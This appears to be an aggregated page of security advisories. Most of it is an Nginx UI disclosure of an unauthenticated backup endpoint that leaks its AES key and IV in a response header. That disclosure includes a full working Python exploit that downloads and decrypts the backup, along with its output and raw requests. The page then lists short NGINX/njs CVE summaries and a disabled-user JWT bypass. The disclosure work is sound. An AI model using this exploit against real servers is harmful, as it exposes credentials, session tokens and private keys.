Summary

The /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.

Vulnerability Details

| Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data | | Affected File | api/backup/router.go | | Affected Function | CreateBackup (lines 8-11 in router, implementation in api/backup/backup.go:13-38) | | Secondary File | internal/backup/backup.go | | CVSS 3.1 | 9.8 (Critical) | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |

Root Cause

The vulnerability exists due to two critical security flaws:

1. Missing Authentication on /api/backup Endpoint

In api/backup/router.go:9, the backup endpoint is registered without any authentication middleware:

go func InitRouter(r gin.RouterGroup) { r.GET("/backup", CreateBackup) // No authentication required r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) // Has middleware }

For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.

2. Encryption Keys Disclosed in HTTP Response Headers

In api/backup/backup.go:22-33, the AES-256 encryption key and IV are sent in plaintext via the X-Backup-Security header:

go func CreateBackup(c gin.Context) { result, err := backup.Backup() if err != nil { cosy.ErrHandler(c, err) return }

// Concatenate Key and IV securityToken := result.AESKey + ":" + result.AESIv // Keys sent in header

// ... c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone

// Send file content http.ServeContent(c.Writer, c.Request, fileName, modTime, reader) }

The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as key:iv.

3. Backup Contents

The backup archive (created in internal/backup/backup.go) contains:

go // Files included in backup: - nginx-ui.zip (encrypted) └── database.db // User credentials, session tokens └── app.ini // Configuration with secrets └── server.key/cert // SSL certificates

- nginx.zip (encrypted) └── nginx.conf // Nginx configuration └── sites-enabled/ // Virtual host configs └── ssl/ // SSL private keys

- hashinfo.txt (encrypted) └── SHA-256 hashes for integrity verification

All files are encrypted with AES-256-CBC, but the keys are disclosed in the response.

Proof of Concept

Python script

python #!/usr/bin/env python3

""" POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security

Usage: python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt """

import argparse import base64 import os import sys import urllib.parse import urllib.request import zipfile from io import BytesIO

try: from Crypto.Cipher import AES from Crypto.Util.Padding import unpad except ImportError: print("Error: pycryptodome required for decryption") print("Install with: pip install pycryptodome") sys.exit(1)

def parsekeys(hdrval: str): """ Parse X-Backup-Security header format: "base64key:base64iv" Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg== """ v = (hdrval or "").strip()

# Format is: key:iv (both base64 encoded) if ":" in v: parts = v.split(":", 1) if len(parts) == 2: return parts[0].strip(), parts[1].strip()

return None, None

def decryptaescbc(encrypteddata: bytes, keyb64: str, ivb64: str) -> bytes: """Decrypt using AES-256-CBC with PKCS#7 padding""" key = base64.b64decode(keyb64) iv = base64.b64decode(ivb64)

if len(key) != 32: raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)") if len(iv) != 16: raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")

cipher = AES.new(key, AES.MODECBC, iv) decrypted = cipher.decrypt(encrypteddata) return unpad(decrypted, AES.blocksize)

def extractbackup(encryptedzippath: str, keyb64: str, ivb64: str, outputdir: str): """Extract and decrypt the backup archive""" print(f"\n[] Extracting encrypted backup to {outputdir}")

os.makedirs(outputdir, existok=True)

# Extract the main ZIP (contains encrypted files) with zipfile.ZipFile(encryptedzippath, 'r') as mainzip: print(f"[] Main archive contains: {mainzip.namelist()}") mainzip.extractall(outputdir)

# Decrypt each file encryptedfiles = ["hashinfo.txt", "nginx-ui.zip", "nginx.zip"]

for filename in encryptedfiles: filepath = os.path.join(outputdir, filename) if not os.path.exists(filepath): print(f"[!] Warning: {filename} not found") continue

print(f"[] Decrypting {filename}...")

with open(filepath, "rb") as f: encrypted = f.read()

try: decrypted = decryptaescbc(encrypted, keyb64, ivb64)

# Write decrypted file decryptedpath = filepath.replace(".zip", "decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted" with open(decryptedpath, "wb") as f: f.write(decrypted)

print(f" → Saved to {decryptedpath} ({len(decrypted)} bytes)")

# If it's a ZIP, extract it if filename.endswith(".zip"): extractdir = os.path.join(outputdir, filename.replace(".zip", "")) os.makedirs(extractdir, existok=True) with zipfile.ZipFile(BytesIO(decrypted), 'r') as innerzip: innerzip.extractall(extractdir) print(f" → Extracted {len(innerzip.namelist())} files to {extractdir}")

except Exception as e: print(f" ✗ Failed to decrypt {filename}: {e}")

# Show hash info hashinfopath = os.path.join(outputdir, "hashinfo.txt.decrypted") if os.path.exists(hashinfopath): print(f"\n[] Hash info:") with open(hashinfopath, "r") as f: print(f.read())

def main(): ap = argparse.ArgumentParser( description="Nginx UI - Unauthenticated backup download with key disclosure" ) ap.addargument("--target", required=True, help="Base URL, e.g. http://host:port") ap.addargument("--out", default="backup.bin", help="Where to save the encrypted backup") ap.addargument("--decrypt", action="storetrue", help="Decrypt the backup after download") ap.addargument("--extract-dir", default="backupextracted", help="Directory to extract decrypted files")

args = ap.parseargs()

url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")

# Unauthenticated request to the backup endpoint req = urllib.request.Request(url, method="GET")

try: with urllib.request.urlopen(req, timeout=20) as resp: hdr = resp.headers.get("X-Backup-Security", "") key, iv = parsekeys(hdr) data = resp.read() except urllib.error.HTTPError as e: print(f"[!] HTTP Error {e.code}: {e.reason}") sys.exit(1) except Exception as e: print(f"[!] Error: {e}") sys.exit(1)

with open(args.out, "wb") as f: f.write(data)

# Key/IV disclosure in response header enables decryption of the downloaded backup print(f"\nX-Backup-Security: {hdr}") print(f"Parsed AES-256 key: {key}") print(f"Parsed AES IV : {iv}")

if key and iv: # Verify key/IV lengths try: keybytes = base64.b64decode(key) ivbytes = base64.b64decode(iv) print(f"\n[] Key length: {len(keybytes)} bytes (AES-256 ✓)") print(f"[] IV length : {len(ivbytes)} bytes (AES block size ✓)") except Exception as e: print(f"[!] Error decoding keys: {e}") sys.exit(1)

if args.decrypt: try: extractbackup(args.out, key, iv, args.extractdir)

except Exception as e: print(f"\n[!] Decryption failed: {e}") import traceback traceback.printexc() sys.exit(1) else: print("\n[!] Failed to parse encryption keys from X-Backup-Security header") print(f" Header value: {hdr}")

if name == "main": main()

bash Download and decrypt backup (no authentication required) pip install pycryptodome python poc.py --target http://victim:9000 --decrypt

X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw== Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA= Parsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==

[] Key length: 32 bytes (AES-256 ✓) [] IV length : 16 bytes (AES block size ✓)

[] Extracting encrypted backup to backupextracted [] Main archive contains: ['hashinfo.txt', 'nginx-ui.zip', 'nginx.zip'] [] Decrypting hashinfo.txt... → Saved to backupextracted/hashinfo.txt.decrypted (199 bytes) [] Decrypting nginx-ui.zip... → Saved to backupextracted/nginx-uidecrypted.zip (12510 bytes) → Extracted 2 files to backupextracted/nginx-ui [] Decrypting nginx.zip... → Saved to backupextracted/nginxdecrypted.zip (5682 bytes) → Extracted 17 files to backupextracted/nginx

[] Hash info: nginx-uihash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5 nginxhash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905 timestamp: 20260129-122110 version: 2.3.2

HTTP Request (Raw)

http GET /api/backup HTTP/1.1 Host: victim:9000

No authentication required - this request will succeed and return: - Encrypted backup as ZIP file - Encryption keys in X-Backup-Security header

Example Response

http HTTP/1.1 200 OK Content-Type: application/zip Content-Disposition: attachment; filename=backup-20260129-120000.zip X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==

[Binary ZIP data]

The X-Backup-Security header contains: - Key: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4= (Base64-encoded 32-byte AES-256 key) - IV: 7XdVSRcgYfWf7C/J0IS8Cg== (Base64-encoded 16-byte IV)

<img width="1430" height="835" alt="screenshot" src="https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17" />

Resources

- CWE-306: Missing Authentication for Critical Function - CWE-311: Missing Encryption of Sensitive Data - OWASP: Broken Authentication - OWASP: Sensitive Data Exposure - NIST: Key Management Guidelines

NGINX Unit before 1.7.1 might allow an attacker to cause a heap-based buffer overflow in the router process with a specially crafted request. This may result in a denial of service (router process crash) or possibly have unspecified other impact.

njs through 0.7.0, used in NGINX, was discovered to contain an out-of-bounds array access via njsvmcodetypeof in /src/njsvmcode.c.

Buffer Overflow vulnerabilty found in Nginx NJS v.0feca92 allows a remote attacker to execute arbitrary code via the njsmoduleread in the njsmodule.c file.

Buffer Overflow found in Nginx NJS allows a remote attacker to execute arbitrary code via the njsobjectproperty parameter of the njs/njsvm.c function.

Last updated 6 June 2026

NGINX JavaScript has a vulnerability when the jsfetchproxy directive is configured with at least one client-controlled NGINX variable (for example, $http, $arg, $cookie) and a location invoking the ngx.fetch() operation from NGINX JavaScript. An unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Last updated 6 June 2026

NGINX Open Source has a vulnerability in the ngxhttpv3module module. When NGINX Open Source is configured to use the HTTP/3 QUIC module, a remote unauthenticated attacker along with conditions beyond their control can use a specially crafted HTTP/3 session to reopen a QPACK encoder stream. This may cause a Use-after-Free in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and a string expression references the map's regex capture variables before referencing the map output variable. Alternatively, the same result could be achieved by using a non-cacheable variable in a string expression under certain conditions. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.

Description

NGINX JavaScript (njs) has a vulnerability in the XML module's namespace prefix list parser, reachable through the xml.exclusiveC14n() method. An unauthenticated remote attacker can trigger it when an affected NGINX configuration passes an externally controlled XML namespace prefix list to that method. Both the njs and the QuickJS (qjs) engines are affected. A crafted prefix list causes an out-of-bounds write past the end of a heap allocation. With the njs engine, which is the engine used when the jsengine directive is absent, this corrupts adjacent objects and crashes the NGINX worker. With the QuickJS engine, the same call additionally leaks the prefix list on every invocation, causing worker memory to grow across requests. The official nginxinc/nginx-saml reference implementation is affected during SAML signature verification. It reads InclusiveNamespaces/@PrefixList from an untrusted SAML message and passes it to xml.exclusiveC14n() before the signature has been verified, so a valid SAML signature is not required. A crafted SAML Response, Assertion, LogoutRequest, or LogoutResponse is sufficient. Code execution has not been demonstrated and cannot be ruled out for all platforms, as the effect of the out-of-bounds write depends on conditions beyond the attacker's control.

Impact

This vulnerability allows remote attackers to cause a denial of service on the NGINX system, either through repeatable worker restarts or through worker memory growth or possibly trigger code execution. There is no control plane exposure; this is a data plane issue only.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Last updated 6 June 2026

Last updated 20 July 2026

Description

NGINX JavaScript (njs) and QuickJS (qjs) engines have a vulnerability when a jsaccess handler performs asynchronous request body processing and an exception is thrown during asynchronous access-control evaluation before an explicit access denial is returned. An unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request that triggers an error condition in the access validation logic. This may cause the jsaccess phase to fail open, allowing the request to proceed instead of being denied, resulting in an authentication or authorization bypass and unauthorized access to protected resources.

Impact

This vulnerability may allow remote attackers to bypass jsaccess controls. There is no control plane exposure; this is a data plane issue only.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Last updated 6 June 2026

When NGINX Ingress Controller is configured with Custom Resource Definitions (CRDs) or Ingress annotations, an injection vulnerability exists in the configuration generator of NGINX Ingress Controller. Multiple user-controllable fields are written into the generated NGINX configuration without sanitization. An authenticated attacker with permission to create or modify these CRDs or annotations may craft values that inject arbitrary NGINX configuration directives.

Impact: An authenticated attacker granted write access to NGINX Ingress Controller CRDs or Ingress annotations through the Kubernetes API may be able to inject arbitrary NGINX configuration directives, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

A vulnerability exists in NGINX JavaScript where a malformed HTTP response received by ngx.fetch() can crash an NGINX worker when trusted JavaScript reads Response.statusText. Exploitation requires control or influence over the fetched HTTP response.

Impact: This vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system. There is no control plane exposure; this is a data plane issue only.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

When NGINX Ingress Controller is configured with Ingress annotations, an injection vulnerability exists in the configuration generator of NGINX Ingress Controller. Multiple user-controllable fields are written into the generated NGINX configuration without sanitization. An authenticated attacker with permission to create or modify these annotations may craft values that inject arbitrary NGINX configuration directives.

Impact: An authenticated attacker granted write access to NGINX Ingress Controller Ingress annotations through the Kubernetes API may be able to inject arbitrary NGINX configuration directives, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Summary

A user who was disabled by an administrator can use previously issued API tokens for up to the token lifetime. In practice, disabling a compromised account does not actually terminate that user’s access, so an attacker who already stole a JWT can continue reading and modifying protected resources after the account is marked disabled.

Since tokens can be used to create new accounts, it is possible the disabled user to maintain the privilege.

Details

The application exposes an account-level disable control through the users management API. Login process correctly enforces that control: https://github.com/0xJacky/nginx-ui/blob/6ec542fd97abf2c5950f374f78a32938ad0030e6/internal/user/login.go#L29-L31

However, token-based authentication does not enforce the same check (This code validates token structure and expiry, but returns that user object without checking user.Status.): https://github.com/0xJacky/nginx-ui/blob/6ec542fd97abf2c5950f374f78a32938ad0030e6/internal/user/user.go#L44-L139

There’s also no token revocation feature, unlike when a password is changed: https://github.com/0xJacky/nginx-ui/blob/6ec542fd97abf2c5950f374f78a32938ad0030e6/api/user/user.go#L38-L51

As a result, a disabled user can continue to have full API access. In particular, since that includes account creation, they can create a new account and keep operating even after the JWT expires.

PoC

The issue was validated with version 2.3.3 using the uozi/nginx-ui:sha-c92ec0a docker image.

View the PoC video:

https://github.com/user-attachments/assets/7a5175cb-2f79-4c1b-adad-e7d0bf2ea2bd

Impact

Administrators who rely on "disable user" as an authentication or authorization control can be bypassed.

The disabled user can keep reading sensitive configuration and executing authenticated state-changing actions allowed to that account.

When NGINX Plus is configured as the data plane for NGINX Gateway Fabric, an injection vulnerability exists in the NGINX configuration generator component of NGINX Gateway Fabric. User-supplied string values from the NginxProxy Custom Resource Definition serverTokens field and the AuthenticationFilter Custom Resource Definition extraAuthArgs field are rendered directly into NGINX configuration templates without sanitization or escaping. An authenticated attacker with permission to create or modify these Custom Resource Definitions may craft values that inject arbitrary NGINX configuration directives. This is a control plane issue; there is no data plane exposure from the vulnerability trigger itself.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

When NGINX Plus or NGINX Open Source is configured as the data plane for NGINX Gateway Fabric, an injection vulnerability exists in the NGINX configuration generator component of NGINX Gateway Fabric. User-supplied string values from the NginxProxy Custom Resource Definition (CRD) access log format setting are rendered directly into NGINX configuration templates without sanitization or escaping. An authenticated attacker with permission to create or modify these CRDs may craft values that inject arbitrary NGINX configuration directives. This is a control plane issue; there is no data plane exposure from the vulnerability trigger itself.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Description: When NGINX Plus is configured as the data plane for NGINX Gateway Fabric, an injection vulnerability exists in the NGINX configuration generator component of NGINX Gateway Fabric. User-supplied string values from the Authentication Filter Custom Resource Definition clientID or cookieName fields, or in the clientSecret field of a Secret referenced by an Authentication Filter, are rendered directly into NGINX configuration templates without sanitization or escaping.

Impact: An authenticated attacker with permission to create or modify these resources may craft values that inject arbitrary NGINX configuration directives. This is a control plane issue; there is no data plane exposure.

Last updated 6 June 2026

Last updated 6 June 2026

A vulnerability exists in the ngxhttpscgimodule and ngxhttpuwsgimodule modules that may result in excessive memory allocation or an over-read of data. When scgipass or uwsgipass is configured, an unauthenticated attacker with man-in-the-middle (MITM) ability to control responses from an upstream server may be able to read the memory of the NGINX worker process or restart it.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Last updated 20 July 2026

A vulnerability exists in NGINX OSS and NGINX Plus when configured to proxy to upstream Transport Layer Security (TLS) servers. An attacker with a man-in-the-middle (MITM) position on the upstream server side—along with conditions beyond the attacker's control—may be able to inject plain text data into the response from an upstream proxied server.

An issue was discovered in Nginx NJS v0.7.5. The JUMP offset for a break instruction was not set to a correct offset during code generation, leading to a segmentation violation.

The Nginx Cache Purge Preload plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.1.1 via the 'nppppreloadcacheonupdate' function. This is due to insufficient sanitization of the $SERVER['HTTPREFERERER'] parameter passed from the 'nppphandlefastcgicacheactionsadminbar' function. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute code on the server.

When NGINX Gateway Fabric is configured using GRPCRoutes, an authenticated, remote attacker with permission to create or modify GRPCRoute resources can cause the NGINX Gateway Fabric control plane to terminate by sending undisclosed GRPCRoute configurations containing backendRef filters.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.